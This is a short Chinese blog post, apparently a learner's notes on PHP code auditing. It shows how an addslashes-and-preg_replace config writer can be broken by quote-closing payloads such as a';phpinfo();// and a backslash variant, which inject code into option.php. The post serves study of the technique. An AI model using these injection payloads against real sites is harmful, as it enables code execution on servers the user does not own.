前言:
最近开始学习代码审计,因为某种原因,容易健忘,所以,打算记录在简书,一点点的去记录自己在审计复现的日常,很多审计get到的姿势,都是在P神的小蜜圈里,还是挺爽的,在里面的每一个评论都可以让你少走弯路,所以,先在这里说明下来源出处。
配置文件getshell
一个经典的问题,很多getshell,都是在后台中,闭合+注释的方式,写入自己的shell
eg:
<?php
$website='';
//我们写入:a';phpinfo();//
$website='a';phpinfo();//';
而在实际中,可能会碰到一些代码的过滤和替换。
<?php
$str = addslashes($_GET['option']); // '会变成\'
$file = file_get_contents('option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file); //preg_replace 会转义\
file_put_contents('option.php', $file);
上面的可以有两种getshell的方式
方法一:
shell.php?option=a';phpinfo();//
写入的内容:
<?php
$option='aaa\';
phpinfo();//';
?>
在此写入 shell.php?option=xxx
<?php
$option='xxx';
phpinfo();//';
?>
方法二:
shell.php?option=a\';phpinfo();//
写入的内容:
<?php
$option='a\\\';
phpinfo();//';
?>
经过正则,会把\当成转义处理,然后就变成:
<?php
$option='a\\';
phpinfo();//';
?>
最后截图:
phpinfo.png
总结:
很基础的一个,大佬勿喷,在实际处理的时候,很多函数并不对sql进行过滤,也只对xss过滤,但是并不影响我们getshell.
网友评论